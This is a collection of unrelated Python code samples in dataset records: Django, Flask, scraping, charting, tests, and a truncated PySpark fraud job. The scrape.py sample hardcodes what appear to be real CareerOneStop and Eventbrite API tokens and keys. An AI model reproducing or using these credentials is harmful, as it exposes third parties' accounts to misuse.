SaveOrderSerializer(serializers.ModelSerializer):\n \"\"\"\n 下单数据序列化器\n \"\"\"\n class Meta:\n model = OrderInfo\n fields = ('order_id', 'address', 'pay_method')\n read_only_fields = ('order_id',)\n extra_kwargs = {\n 'address': {\n 'write_only': True,\n 'required': True,\n },\n 'pay_method': {\n 'write_only': True,\n 'required': True\n }\n }\n\n def create(self, validated_data):\n \"\"\"\n 保存订单\n \"\"\"\n # 获取当前下单用户\n user = self.context['request'].user\n\n # 创建订单编号\n # 订单编号格式 20170903153611+user.id\n order_id = timezone.now().strftime('%Y%m%d%H%M%S') + ('%09d' % user.id)\n\n address = validated_data['address']\n pay_method = validated_data['pay_method']\n\n # 生成订单\n # 开启事务\n with transaction.atomic():\n # 创建保存点,记录当前数据状态\n save_id = transaction.savepoint()\n\n try:\n # 创建订单信息\n order = OrderInfo.objects.create(\n order_id=order_id,\n user=user,\n address=address,\n total_count=0,\n total_amount=Decimal('0'),\n freight=Decimal('9.00'),\n pay_method=pay_method,\n status=OrderInfo.ORDER_STATUS_ENUM['UNSEND'] if pay_method == OrderInfo.PAY_METHODS_ENUM[\n 'CASH'] else OrderInfo.ORDER_STATUS_ENUM['UNPAID']\n )\n # 获取购物车信息\n redis_conn = get_redis_connection('cart')\n cart_redis = redis_conn.hgetall('cart_%s' % user.id)\n cart_selected = redis_conn.smembers('cart_selected_%s' % user.id)\n\n # 将bytes类型转换为int类型\n cart = {}\n # cart: {\n # sku_id: count,\n # sku_id: count\n # }\n for sku_id in cart_selected:\n cart[int(sku_id)] = int(cart_redis[sku_id])\n\n # 一次查询出所有商品数据\n sku_obj_list = SKU.objects.filter(id__in=cart.keys())\n\n # 处理订单商品\n for sku in sku_obj_list:\n\n # 判断商品库存是否充足\n sku_count = cart[sku.id]\n\n if sku.stock < sku_count:\n # 事务回滚\n transaction.savepoint_rollback(save_id)\n raise serializers.ValidationError('商品库存不足')\n\n # 减少商品库存\n sku.stock -= sku_count\n sku.sales += sku_count\n sku.save()\n\n # 累计总金额\n order.total_count += sku_count\n # 累计总额\n order.total_amount += (sku.price * sku_count)\n\n # 保存订单商品\n OrderGoods.objects.create(\n order=order,\n sku=sku,\n count=sku_count,\n price=sku.price,\n )\n\n # 更新订单的金额数量信息\n order.save()\n\n except serializers.ValidationError:\n raise\n except Exception:\n # 事务回滚\n transaction.savepoint_rollback(save_id)\n raise\n\n # 提交事务\n transaction.savepoint_commit(save_id)\n\n # 清除购物车中已经结算的商品\n pl = redis_conn.pipeline()\n pl.hdel('cart_%s' % user.id, *cart_selected)\n pl.srem('cart_selected_%s' % user.id, *cart_selected)\n pl.execute()\n\n return order\n","sub_path":"meiduo_mall/apps/orders/serialziers.py","file_name":"serialziers.py","file_ext":"py","file_size_in_byte":4610,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"369555498","text":"import requests\nimport datetime as dt\n\nMY_LONG = 18.475241\nMY_LAT = -33.954071\n\n# response = requests.get(url=\"http://api.open-notify.org/iss-now.json\")\n#\n# data = response.json()\n#\n# latitude = data['iss_position']['latitude']\n# longitude = data['iss_position']['longitude']\n#\n# iss_position = (longitude, latitude)\n# print(iss_position)\n\nparameter = {\n \"lat\": MY_LAT,\n \"lng\": MY_LONG,\n \"formatted\": 0,\n}\n\nresponse = requests.get(url=\"https://api.sunrise-sunset.org/json\", params=parameter)\nresponse.raise_for_status()\ndata = response.json()\nsunrise = data['results']['sunrise'].split(\"T\")[1].split(\":\")[0]\nsunset = data['results']['sunset'].split(\"T\")[1].split(\":\")[0]\nprint(sunrise)\nprint(sunset)\n\ntime_now = dt.datetime.now().hour\nprint(time_now)\n\nnight = int(sunset) < int(time_now) < int(sunrise)\nday = int(sunrise) < int(time_now) < int(sunset)\n\nprint(day)\n\n\n\n\n\n\n\n\n\n\n","sub_path":"day33/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":883,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"257774269","text":"import time\n\nfrom selenium.webdriver.common.by import By\n\nfrom base.base_analyze import analyze_file\nfrom base.base_driver import init_driver\nfrom page.page import Page\nimport pytest\n\nclass TestVip:\n\n def setup(self):\n self.driver = init_driver()\n self.page = Page(self.driver)\n def teardown(self):\n time.sleep(3)\n self.driver.quit()\n\n @pytest.mark.parametrize(\"args\",analyze_file(\"all_data.yaml\",\"test_vip\"))\n def test_vip(self,args):\n # 如果没有登录 去登陆\n self.page.home.login_if_not(self.page)\n # 我 点击 加入vip\n self.page.me.click_vip()\n # print(self.driver.contexts)\n # # 切换 web环境\n # self.driver.switch_to.context(\"WEBVIEW_com.yunmall.lc\")\n # # vip 输入 邀请码\n # self.page.vip.input_invite(args[\"keyword\"])\n # # vip 点击 加入会员\n # self.page.vip.click_bevip()\n time.sleep(5)\n self.page.vip.input_invite2(args[\"keyword\"])\n time.sleep(5)\n self.page.vip.click_bevip2()\n # 断言\n assert self.page.vip.is_keyword_inpage(args[\"expect\"]),\"你输入的邀请码不在page_source中\"\n # 切换 原生环境\n # self.driver.switch_to.context(\"NATIVE_APP\")\n\n","sub_path":"scripts/test_vip.py","file_name":"test_vip.py","file_ext":"py","file_size_in_byte":1263,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"133726448","text":"from time import time\n\n\ndef performance(fn):\n def wrapper(*args, **kwargs):\n t1 = time()\n result = fn(*args, **kwargs)\n t2 = time()\n print(f'took {t2-t1} s')\n return result\n return wrapper\n\n# faster\n@performance\ndef long_time():\n print('1')\n for i in range(100000000):\n i * 5\n\n\n@performance\ndef long_time2():\n print('2')\n for i in list(range(100000000)):\n i*5\n\n\nlong_time()\nlong_time2()\n\n\n# def gen_fun(num):\n# for i in range(num):\n# yield i\n\n\n# for item in gen_fun(100)\n","sub_path":"advance_python_generators/generators_performance.py","file_name":"generators_performance.py","file_ext":"py","file_size_in_byte":550,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"504756932","text":"from tkinter import *\nimport tkinter as tk\nfrom tkinter import filedialog, Text\n\nimport pytesseract\nfrom pytesseract import Output\n\nimport cv2\nimport numpy as np\n\nog_img = np.zeros((), np.uint8,)\n\nwindow = Tk()\n\nwindow.title(\"Document Scanner\")\n\nwindow.geometry('400x400')\n\n\ndef open_btn_clicked():\n filename= filedialog.askopenfilename(initialdir=\"/Users/anishpawar/Robocon/Robocon_Anish/Matlab_IP/IP/Learning\",title = \"Select Image\",filetypes=((\"images\",\"*.jpg\"),(\"all files\",\"*.*\")))\n print(filename)\n filename = filename.strip(\"/Users/anishpawar/Robocon/Robocon_Anish/Matlab_IP/IP/Learning/\")\n filename = filename + \"pg\"\n print(filename)\n global og_img\n og_img = cv2.imread(filename)\n # img = og_img\n cv2.imshow('image',og_img)\n \n\ndef blur_btn_clicked():\n blur_base = og_img \n blur = cv2.GaussianBlur(blur_base,(11,11),0)\n cv2.imshow('image',blur)\n\ndef show_btn_clicked():\n cv2.imshow('image',og_img)\n\n\nopen_btn = Button(window, text=\"Open Image\",bg=\"blue\",fg=\"red\", command=open_btn_clicked)\n\nopen_btn.grid(column=1, row=0)\n\nblur_btn = Button(window, text = \"Blur\", command= blur_btn_clicked)\nblur_btn.grid(column=20, row=0)\n\nshow_btn = Button(window, text = \"Show Original Image\", command= show_btn_clicked)\nshow_btn.grid(column=10, row=0)\n\n\nwindow.mainloop()","sub_path":"IP/Learning/OCR_GUI_Tkinter/Python_GUI_Test.py","file_name":"Python_GUI_Test.py","file_ext":"py","file_size_in_byte":1307,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"132256028","text":"#!/usr/bin/env python3\n\nimport sys\n\npoker_rankings = [\n 'nothing', \n 'one pair', \n 'two pairs', \n 'three of a kind', \n 'a straight', \n 'a flush', \n 'a full house', \n 'four of a kind', \n 'a straight flush', \n 'a royal flush'\n ]\n\ndef probability(sample_space_cardinality, event_set_cardinality):\n \"\"\"Calculate the probability percentage of an event happening. Assume equally likely events.\"\"\"\n return event_set_cardinality / sample_space_cardinality * 100 \n\ndef main():\n ranking_totals = [0]*10 # indices 0-9 represent a poker hand ranking(0 - nothing, 1 - one pair...), values at an index represent how many hands occurred at that ranking.\n for line in sys.stdin:\n ranking = int(line.rstrip().split(',')[-1])\n ranking_totals[ranking] += 1\n total = sum(ranking_totals) # represents the total number of hands in the given data sample.\n for i in range(10):\n print('The probability of {} is {:.4f}%'.format(poker_rankings[i], probability(total, ranking_totals[i])))\n\nif __name__ == '__main__':\n main()","sub_path":"year1_1718/computer_programming_2/scripts/20180722180629/2018-02-11/poker_021.py","file_name":"poker_021.py","file_ext":"py","file_size_in_byte":1071,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"68895719","text":"from pyecharts import Map\nimport pandas as pd\nimport numpy as np\n\nposi = pd.read_excel(\"province_China.xlsx\")\nnum = len(posi)\nmanchong = np.array(posi[\"manchong\"][0:num],\n dtype=float) # 获取慢充桩数,转化为numpy浮点型\nkuaichong = np.array(posi[\"kuaichong\"][0:num],\n dtype=float) # 获取快充桩数,转化为numpy浮点型\ntotal = np.array(posi[\"total\"][0:num]) # 获取充电站数目\n\nname = np.array(posi[\"name\"][0:num])\n\n''' 为了输入下方的省份名称而进行的格式输出\nfor i in range(len(posi)):\n print(\"\\\"\"+name[i]+\"\\\",\")\n'''\n\n#value = [155, 10, 66, 78, 33, 80, 190, 53, 49.6]\nvalue = total\n\nattr = [\n\"安徽\",\"北京\",\"重庆\",\"福建\",\"广东\",\"广西\",\"贵州\",\"甘肃\",\"河北\",\"黑龙江\",\"河南\",\"湖北\",\"湖南\",\"海南\",\"吉林\",\"江苏\",\"江西\",\n\"辽宁\",\"内蒙古\",\"宁夏\",\"青海\",\"山西\",\"上海\",\"山东\",\"四川\",\"陕西\",\"天津\",\"西藏\",\"新疆\",\"云南\",\"浙江\",\n]\n# background_color ='#293C55'\n# width=1200, height=600\n# renderer='svg'\n\nmap = Map(\"中国充电站数目分布图\", subtitle = '数据来源于北汽新能源', width=1400, height=700,title_pos='center')\n# map = Map(\"Map 结合 VisualMap 示例\", width=1200, height=600)\nmap.use_theme('chalk')\nmap.add(\n \"\",\n attr,\n value,\n visual_range = [0,3131],\n visual_text_color =\"#FFFFFF\",\n maptype=\"china\",\n is_visualmap=True,\n visual_pos ='73%',\n visual_top = '38%',\n # visual_text_color=\"#000\",\n legend_pos = 'center',\n)\nmap.render(\"中国充电站分布.png\")\n","sub_path":"Echarts/map_pyecharts.py","file_name":"map_pyecharts.py","file_ext":"py","file_size_in_byte":1581,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"444616553","text":"import json\n\nfrom flask import Flask\nfrom flask import request\n\nfrom models import Note\n\napp = Flask(__name__)\n\nnotes = [Note(1, \"Jogging in park\"), Note(2, \"Pick-up posters from post-office\")]\ncreated_notes = 2\n\n@app.route(\"/\")\ndef index():\n\treturn \"

Hello World

\"\n\n@app.route(\"/notes\", methods=[\"GET\"])\ndef get_notes():\n\t#note = Note(5, \"some title\")\n\tnote_lst = [note.to_dict() for note in notes]\n\treturn json.dumps(note_lst) + \"\\n\"\n\n@app.route(\"/notes\", methods=[\"POST\"])\ndef create_note():\n\tbody = json.loads(request.data)\n\tcreated_notes += 1\n\tnew_note = Note(created_notes, body[\"title\"])\n\tnotes.append(new_note)\n\treturn json.dumps(new_note.to_dict()), 201\n\n\n\n@app.route(\"/hello/\")\ndef hello(name):\n\treturn \"

Hello, %s!

\" % name\n\nif __name__ == \"__main__\":\n\tapp.run(debug=True)\n","sub_path":"py-notes/py-notes.py","file_name":"py-notes.py","file_ext":"py","file_size_in_byte":804,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"272449573","text":"class Solution:\n def convert(self, s, numRows):\n \"\"\"\n :type s: str\n :type numRows: int\n :rtype: str\n \"\"\"\n if numRows == 1:\n return s\n i = 0\n length = len(s)\n min_len = min(length,numRows)\n mylist = [[] for _ in range(min_len)]\n s_list = list(s)\n while True:\n while i < min_len and len(s_list) > 0:\n mylist[i].append(s_list.pop(0))\n i = i +1\n i = i - 2\n while i >= 0 and len(s_list) > 0:\n mylist[i].append(s_list.pop(0))\n i = i -1\n i = i + 2\n if len(s_list) == 0:\n return self.write_list(mylist)\n def write_list(self,list):\n s = ''\n for x in list:\n for y in x:\n s = s + y\n return s\n\nif __name__ == '__main__':\n s = Solution()\n print(s.convert('leetcodeishiring',3))\n","sub_path":"6_1.py","file_name":"6_1.py","file_ext":"py","file_size_in_byte":950,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"108318561","text":"import signatures\nimport pkgutil\nimport datetime\nfrom operator import itemgetter, attrgetter\n\nfrom cmfieldguide.cmsdetector.models import Site, Page, save_as_site_object\n\n\ndef test(url, force_new=False):\n \n #Looking for the site in the database\n site_cache = Site.objects.filter(url=url)\n site_cache = site_cache.filter(date_time__gt=datetime.datetime.now()-datetime.timedelta(days=1))\n \n #if force_new:\n if force_new:\n site_cache = site_cache.delete()\n \n #If we found it, use it.\n if site_cache:\n site = site_cache[0]\n else:\n site = save_as_site_object(Page(url))\n \n for platform_name in get_platform_names():\n signature = __import__('cmfieldguide.cmsdetector.signatures.' + platform_name, \n fromlist='Signature').Signature(site)\n \n return site\n\n\ndef get_platform_names():\n\n names = []\n \n package = signatures\n for importer, modname, ispkg in pkgutil.iter_modules(package.__path__):\n names.append(modname)\n\n return names\n\n","sub_path":"cmfieldguide/cmsdetector/engine.py","file_name":"engine.py","file_ext":"py","file_size_in_byte":1038,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"35140700","text":"import re1\n\n#贪婪模式与懒惰模式\nstring=\"Python\"\npat=\"p.*y\"#贪婪模式\npat2=\"p.*?y\"#懒惰模式\nrst=re1.search(pat, string, re1.I)\nrst2=re1.search(pat2, string, re1.I)\nprint(rst)\nprint(rst2)\n\n#正则表达式函数\n#1,match函数\nstring=\"poythonyhjskjsa\"\npat=\"p.*?y\"\nrst=re1.match(pat, string, re1.I)\nprint(rst)\n#2,search前面已经提过\n#3,全局匹配函数\nstring=\"poytphonpyhjskjsa\"\npat=\"p.*?y\"\n#全局匹配格式re.compile(正则表达式).findall(数据)\nrst=re1.compile(pat).findall(string)\nprint(rst)\n\n\n#实例:匹配.com和.cn网址\nstring=\"百度首页'\"\npat=\"[a-zA-Z]+://[^\\s]*[.com|.cn]\"\nrst=re1.compile(pat).findall(string)\nprint(rst)\n\n#实例:匹配电话号码\nstring=\"safadsfasdf021-98762322342343sdfasdf0773-776234234asdf\"\npat=\"\\d{4}-\\d{7}|\\d{3}-\\d{8}\"\nrst=re1.compile(pat).findall(string)\nprint(rst)\n","sub_path":"oldFiles/re3.py","file_name":"re3.py","file_ext":"py","file_size_in_byte":877,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"227698976","text":"#User function Template for python3\n\nclass Solution:\n def solve(self,n : int, a : list, b : int):\n for i in range(n):\n if a[i]==b:\n b=b*2\n continue\n return b\n # Complete this function\n\n#{ \n# Driver Code Starts\n#Initial Template for Python 3\n\nif __name__ == '__main__':\n t = int(input())\n for _ in range(t):\n n , b = map(int, input().split())\n arr = [int(x) for x in input().split()]\n ob = Solution()\n print(ob.solve(n, arr, b))\n# } Driver Code Ends\n","sub_path":"Day 29 doubling the value.py","file_name":"Day 29 doubling the value.py","file_ext":"py","file_size_in_byte":549,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"76125475","text":"import json\nimport requests\n\n\ndef extract_cities():\n url = \"https://api.teleport.org/api/continents/geonames:NA/urban_areas\"\n JSON_obj = requests.get(url).text\n cities = json.loads(JSON_obj)[\"_links\"][\"ua:items\"]\n print(\" Extracted cities\")\n return cities # list of cities\n\n\ndef extract_images(cities):\n images = {} # \"city_name\":\"image_link\"\n for city in cities:\n name = city[\"name\"]\n linkToCity = city[\"href\"]\n cityJSON = requests.get(linkToCity).text\n cityInfo = json.loads(cityJSON)[\"_links\"][\"ua:images\"]\n imageLink = cityInfo[\"href\"]\n imageJSON = requests.get(imageLink).text\n imageInfo = json.loads(imageJSON)[\"photos\"][0][\"image\"]\n images[name] = imageInfo\n print(\" Extracted images\")\n return images\n\n\ndef extract_values(cities):\n values = {}\n for city in cities:\n name = city[\"name\"]\n linkToCity = city[\"href\"]\n cityJSON = requests.get(linkToCity).text\n link = json.loads(cityJSON)[\"_links\"]\n cityInfo = link[\"ua:scores\"]\n valuesLink = cityInfo[\"href\"]\n valuesJSON = requests.get(valuesLink).text\n valuesInfo = json.loads(valuesJSON)[\"categories\"]\n categories = {}\n validCategories = [\"Housing\", \"Cost of Living\", \"Commute\", \"Tolerance\"]\n for category in valuesInfo:\n categoryTitle = category[\"name\"]\n if categoryTitle in validCategories:\n categories[categoryTitle] = category[\"score_out_of_10\"]\n values[name] = categories\n print(\" Extracted values\")\n return values\n\n\ndef extract_location(cities):\n location = {}\n for city in cities:\n name = city[\"name\"]\n linkToCity = city[\"href\"]\n cityJSON = requests.get(linkToCity).text\n jsonToDict = json.loads(cityJSON)\n linkToCityInfo = jsonToDict[\"_links\"][\"ua:identifying-city\"][\"href\"]\n cityInfoJSON = requests.get(linkToCityInfo).text\n cityInfo = json.loads(cityInfoJSON)\n state = cityInfo[\"_links\"][\"city:admin1_division\"][\"name\"]\n population = cityInfo[\"population\"]\n latlon = cityInfo[\"location\"][\"latlon\"]\n latitude = latlon[\"latitude\"]\n longitude = latlon[\"longitude\"]\n location[name] = {\n \"state\": state,\n \"latitude\": latitude,\n \"longitude\": longitude,\n \"population\": population,\n }\n print(\" Extracted locations\")\n return location\n\n\ndef scrape_cities():\n cities = extract_cities()\n images = extract_images(cities)\n values = extract_values(cities)\n location = extract_location(cities)\n cities = {}\n city_id = 1\n\n for k in images:\n if k in values and k in location:\n cities[k] = {\n \"city id\": city_id,\n \"images\": images[k],\n \"qualities\": values[k],\n \"location\": location[k],\n }\n city_id += 1\n\n with open(\"static/json/cities.json\", \"w\") as out:\n out.write(json.dumps(cities, indent=4, separators=(\",\", \": \")))\n\n print(\" Scraped cities and jobs\")\n return cities\n\n\n# used to convert unicode strings\ndef _byteify(data, ignore_dicts=False):\n # if this is a unicode string, return its string representation\n if isinstance(data, unicode):\n return data.encode(\"utf-8\")\n # if this is a list of values, return list of byteified values\n if isinstance(data, list):\n return [_byteify(item, ignore_dicts=True) for item in data]\n # if this is a dictionary, return dictionary of byteified keys and values\n # but only if we haven't already byteified it\n if isinstance(data, dict) and not ignore_dicts:\n return {\n _byteify(key, ignore_dicts=True): _byteify(value, ignore_dicts=True)\n for key, value in data.iteritems()\n }\n # if it's anything else, return it in its original form\n return data\n\n\n# User ID: d7iQVH52IkmHUPZ\n# Token Key: dVaq+TBMNG2YuPbMqeUj+JcTmVkwW+dEbQaPPDdw093d09zu31kA9g01AA4Fx5f7rQb1vrrR0L9420I3e8LmPg==\ndef scrape_jobs():\n url = \"https://api.careeronestop.org/v1/lmi/d7iQVH52IkmHUPZ/\"\n token = \"Bearer dVaq+TBMNG2YuPbMqeUj+JcTmVkwW+dEbQaPPDdw093d09zu31kA9g01AA4Fx5f7rQb1vrrR0L9420I3e8LmPg==\"\n\n jobs = {}\n job_names = []\n job_codes = []\n city_names = []\n city_codes = []\n with open(\"static/txt/jobs.txt\") as f:\n job_names = f.read().splitlines()\n with open(\"static/txt/jobcodes.txt\") as f:\n job_codes = f.read().splitlines()\n with open(\"static/txt/cities.txt\") as f:\n city_names = f.read().splitlines()\n with open(\"static/txt/zipcodes.txt\") as f:\n city_codes = f.read().splitlines()\n\n for j in range(0, len(job_names)):\n instance_url = url + str(job_codes[j]) + \"/\"\n salaries = {}\n for c in range(0, len(city_names)):\n connected = False\n attempts = 0\n while not connected:\n try:\n zipJSON = requests.get(\n instance_url + city_codes[c], headers={\"Authorization\": token}\n ).text\n connected = True\n except requests.ConnectionError:\n print(\" Failed connection, retrying\")\n attempts += 1\n if attempts == 10:\n print(\" Failed connection 10 times, aborting\")\n break\n pass\n zipInfo = json.loads(zipJSON, object_hook=_byteify)\n zipSalary = zipInfo[\"LMI\"][\"AveragePayZip\"]\n if zipSalary:\n salaries[city_names[c]] = int(zipSalary.replace(\",\", \"\"))\n else:\n salaries[city_names[c]] = 0\n print(\n \" Extracted salary (\"\n + str(c + 1)\n + \" out of \"\n + str(len(city_names))\n + \")\"\n )\n top_cities = sorted(salaries, key=salaries.get, reverse=True)[:5]\n top_salaries = {}\n for city in top_cities:\n top_salaries[city] = salaries[city]\n jobJSON = requests.get(\n instance_url + \"US\", headers={\"Authorization\": token}\n ).text\n jobInfo = json.loads(jobJSON, object_hook=_byteify)\n jobInstance = {}\n jobInstance[\"id\"] = j + 1\n jobInstance[\"title\"] = job_names[j]\n jobInstance[\"description\"] = jobInfo[\"SocInfo\"][\"SocDescription\"]\n jobInstance[\"education\"] = jobInfo[\"LMI\"][\"TypicalTraining\"]\n jobInstance[\"national-salary\"] = int(\n jobInfo[\"LMI\"][\"AveragePayNational\"].replace(\",\", \"\")\n )\n jobInstance[\"top-cities\"] = top_cities\n jobInstance[\"top-cities-salaries\"] = top_salaries\n jobs[job_names[j]] = jobInstance\n print(\n \" Extracted job (\" + str(j + 1) + \" out of \" + str(len(job_names)) + \")\"\n )\n\n with open(\"static/json/jobs.json\", \"w\") as out:\n out.write(json.dumps(jobs, indent=4, separators=(\",\", \": \")))\n\n print(\" Scraped jobs\")\n return jobs\n\n\n# OAuth token: WG5JAPAZ3A56WMVJKO7K\n# User ID: 271324227120\n# App key: TTNHB547XJXQLCEBSL\ndef date_string_to_float(time):\n day = int(time.split(\"T\")[0].split(\"-\")[2])\n time = time.split(\"T\")[1].split(\":\")\n hour = float(time[0]) + 24 * day\n minute = float(time[1]) / 60\n return hour + minute\n\n\ndef scrape_events():\n eventsTable = []\n url = \"https://www.eventbriteapi.com/v3/events/search/?sort_by=date&location.within=1500mi&location.latitude=39&location.longitude=-98&token=WG5JAPAZ3A56WMVJKO7K&expand=venue\"\n eventid = 1\n num_pages = 10\n for p in range(1, num_pages + 1): # scrape 10 pages\n url_with_page = url + \"&page=\" + str(p)\n eventsJSON = requests.get(url_with_page).text\n events = json.loads(eventsJSON, object_hook=_byteify)[\"events\"]\n for i in range(0, len(events)):\n # print(i)\n eventInstance = {}\n eventInstance[\"eventid\"] = eventid\n eventInstance[\"name\"] = events[i][\"name\"][\"text\"]\n eventInstance[\"summary\"] = events[i][\"summary\"]\n eventInstance[\"address\"] = events[i][\"venue\"][\"address\"][\"address_1\"]\n eventInstance[\"city\"] = events[i][\"venue\"][\"address\"][\"city\"]\n eventInstance[\"state\"] = events[i][\"venue\"][\"address\"][\"region\"]\n eventInstance[\"venue\"] = events[i][\"venue\"][\"name\"]\n start = eventInstance[\"start\"] = events[i][\"start\"][\"local\"]\n end = eventInstance[\"end\"] = events[i][\"end\"][\"local\"]\n duration = date_string_to_float(end) - date_string_to_float(start)\n eventInstance[\"duration\"] = duration\n eventInstance[\"timezone\"] = events[i][\"start\"][\"timezone\"]\n eventInstance[\"url\"] = events[i][\"url\"]\n if events[i][\"logo\"] is not None:\n eventInstance[\"logo\"] = events[i][\"logo\"][\"url\"]\n else:\n eventInstance[\"logo\"] = None\n eventsTable.append(eventInstance)\n eventid += 1\n print(\" Extracted events (page \" + str(p) + \" out of \" + str(num_pages) + \")\")\n\n with open(\"static/json/events.json\", \"w\") as out:\n out.write(json.dumps(eventsTable, indent=4, separators=(\",\", \": \")))\n\n print(\" Scraped events\")\n return eventsTable\n\n\nif __name__ == \"__main__\":\n print(\"Starting scraping process\")\n # scrape_cities() # IF RAN AGAIN, REMOVE NON-US CITIES FROM JSON\n # scrape_jobs()\n # scrape_events()\n print(\"Completed scraping process\")\n","sub_path":"backend/scrape.py","file_name":"scrape.py","file_ext":"py","file_size_in_byte":9594,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"336352272","text":"from django.core.management.base import CommandError\n\nfrom reviews.models import Review, Title, User\nfrom .add_model import SubCommand\n\n\nclass Command(SubCommand):\n help = 'add csv to Review model'\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.model_name = Review\n\n def insert_table_to_db(self, data):\n try:\n title = Title.objects.get(pk=data[\"title_id\"])\n print(title)\n author = User.objects.get(pk=data[\"author\"])\n self.model_name.objects.create(\n id=data[\"id\"],\n title=title,\n author=author,\n pub_date=data[\"pub_date\"],\n text=data[\"text\"],\n score=data[\"score\"]\n\n )\n except Exception as e:\n raise CommandError(\n f'Error in inserting {self.model_name}: {str(e)}'\n )\n","sub_path":"api_yamdb/reviews/management/commands/add_review.py","file_name":"add_review.py","file_ext":"py","file_size_in_byte":920,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"537826871","text":"\n\nfrom xai.brain.wordbase.verbs._pacify import _PACIFY\n\n#calss header\nclass _PACIFYING(_PACIFY, ):\n\tdef __init__(self,): \n\t\t_PACIFY.__init__(self)\n\t\tself.name = \"PACIFYING\"\n\t\tself.specie = 'verbs'\n\t\tself.basic = \"pacify\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/verbs/_pacifying.py","file_name":"_pacifying.py","file_ext":"py","file_size_in_byte":242,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"51372827","text":"import pandas as pd\n\nraw_data = pd.read_csv('salaries_by_college_major.csv')\n\n\n# data exploration\n# print(f'\\nHead:\\n {raw_data.head()}')\n# print(f'\\nShape:\\n {raw_data.shape}')\n\n# print(f'\\nColumns:\\n {raw_data.columns}')\n\nclean_data = raw_data.dropna()\n\n# print(f'\\nTail:\\n {clean_data.tail()}')\n\n\n# # Highest starting median salary\n\n# max_salary = clean_data['Starting Median Salary'].max()\n# print(clean_data[clean_data['Starting Median Salary'] == max_salary])\n\n# # or...\n# id_max = clean_data['Starting Median Salary'].idxmax()\n# print(clean_data.loc[id_max])\n\n\n\n# # Highest mid-career salary\n# max_salary = clean_data['Mid-Career Median Salary'].max()\n# print(clean_data[clean_data['Mid-Career Median Salary'] == max_salary])\n\n# # Lowest starting salary\n# min_salary = clean_data['Starting Median Salary'].min()\n# print(clean_data[clean_data['Starting Median Salary'] == min_salary])\n\n\n# Low risk majors\nsalary_spread = clean_data['Mid-Career 90th Percentile Salary'] - clean_data['Mid-Career 10th Percentile Salary']\nclean_data.insert(1,'Salary spread',salary_spread)\nlow_risk = clean_data['Salary spread'].min()\nprint(clean_data[clean_data['Salary spread'] == low_risk])\n\n#or...\nprint(clean_data.sort_values('Salary spread').head())\n\n\n\n# Number of majors per group\nprint(clean_data.groupby('Group').count())\n\n# Average salary per group\npd.options.display.float_format = '{:,.2f}'.format \nprint(clean_data.groupby('Group').mean().sort_values(['Starting Median Salary'],ascending=False))\n\n\n\n\n\n\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1501,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"526422644","text":"from pyspark.sql.functions import when, col, udf, regexp_replace, upper\r\nfrom pyspark.sql.types import IntegerType\r\n\r\nfrom fraud_home.resources.common.spark import SparkJob\r\nfrom fraud_home.resources.fraud_home import STRING\r\nfrom fraud_home.resources.fraud_home import nif_corrector\r\n\r\n\r\nclass Id(SparkJob):\r\n\r\n def __init__(self, is_diario):\r\n self._is_diario = is_diario\r\n self._spark = self.get_spark_session(\"IdTask\")\r\n\r\n def run(self):\r\n df, redes = self._extract_data()\r\n df = self._transform_data(df, redes, entity_='Z')\r\n self._load_data(df)\r\n self._spark.stop()\r\n\r\n def _extract_data(self):\r\n \"\"\"Load data from Parquet file format.\r\n :return: Spark DataFrame.\r\n \"\"\"\r\n if self._is_diario:\r\n df = (\r\n self._spark\r\n .read\r\n .csv(STRING.id_input_prediction, header=True, sep=','))\r\n else:\r\n df = (\r\n self._spark\r\n .read\r\n .csv(STRING.id_input_training, header=True, sep=','))\r\n\r\n redes = (self._spark.\r\n read.\r\n csv(STRING.redes_input, header=False, sep=';'))\r\n\r\n return df, redes\r\n\r\n @staticmethod\r\n def _transform_data(df, redes, entity_):\r\n \"\"\"Transform original dataset.\r\n\r\n :param df: Input DataFrame.\r\n :param redes: Redes file that comes from Investigation Office\r\n :param entity_: Entity Zurich 'Z' or Another (BANC SABADELL 'BS')\r\n :return: Transformed DataFrame.\r\n \"\"\"\r\n # Cast key variables and rename headers\r\n exprs = [col(column).alias(column.replace('\"', '')) for column in df.columns]\r\n df = df.select(*exprs)\r\n exprs = [col(column).alias(column.replace(' ', '')) for column in df.columns]\r\n df = df.select(*exprs)\r\n df = df.withColumn('id_siniestro', df.id_siniestro.cast(IntegerType()))\r\n\r\n # Type of person: Fisica or Juridica\r\n df = df.withColumn('dummy_fisica', when(df.cliente_clase_persona_codigo == 'F', 1).otherwise(0))\r\n\r\n # Product TYPE dummies\r\n types = df.select('id_producto').distinct().collect()\r\n types = [i.id_producto for i in types]\r\n product_type = [when(df.id_producto == ty, 1).otherwise(0).alias('d_producto_' + ty) for ty in types]\r\n cols = list(df.columns)\r\n df = df.select(cols + product_type)\r\n\r\n # ENTITY type: Zurich or Another\r\n df = df.filter(df['poliza_entidad_legal'] == 